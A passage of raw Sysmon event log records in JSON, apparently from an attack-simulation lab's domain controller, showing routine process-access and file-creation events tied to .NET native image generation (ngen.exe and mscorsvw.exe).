12:00:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6541,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:35.275\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4263-5F2D-0000-001056140A00}\r\nTargetProcessId: 4368\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:35.275","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4263-5F2D-0000-001056140A00}","TargetProcessId":"4368","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6542,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:35.291\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4263-5F2D-0000-001056140A00}\r\nTargetProcessId: 4368\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:35.291","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4263-5F2D-0000-001056140A00}","TargetProcessId":"4368","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6543,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:35.353\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4263-5F2D-0000-0010B7170A00}\r\nTargetProcessId: 4384\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:35.353","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4263-5F2D-0000-0010B7170A00}","TargetProcessId":"4384","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6544,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:35.353\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4263-5F2D-0000-0010B7170A00}\r\nTargetProcessId: 4384\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:35.353","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4263-5F2D-0000-0010B7170A00}","TargetProcessId":"4384","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6545,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:35.353\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4263-5F2D-0000-0010B7170A00}\r\nTargetProcessId: 4384\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:35.353","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4263-5F2D-0000-0010B7170A00}","TargetProcessId":"4384","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6546,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:00:35.744\r\nProcessGuid: {90617006-4263-5F2D-0000-0010B7170A00}\r\nProcessId: 4384\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1120-0\\System.Net.Http.dll\r\nCreationUtcTime: 2020-08-07 12:00:35.744","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:00:35.744","ProcessGuid":"{90617006-4263-5F2D-0000-0010B7170A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1120-0\\System.Net.Http.dll","CreationUtcTime":"2020-08-07 12:00:35.744","EventReceivedTime":"2020-08-07 12:00:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6547,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:35.791\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4263-5F2D-0000-00106E1B0A00}\r\nTargetProcessId: 4920\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:35.791","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4263-5F2D-0000-00106E1B0A00}","TargetProcessId":"4920","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6548,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:35.791\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4263-5F2D-0000-00106E1B0A00}\r\nTargetProcessId: 4920\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:35.791","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4263-5F2D-0000-00106E1B0A00}","TargetProcessId":"4920","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6549,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:35.807\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4263-5F2D-0000-00106E1B0A00}\r\nTargetProcessId: 4920\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:35.807","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4263-5F2D-0000-00106E1B0A00}","TargetProcessId":"4920","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6550,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:35.900\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: 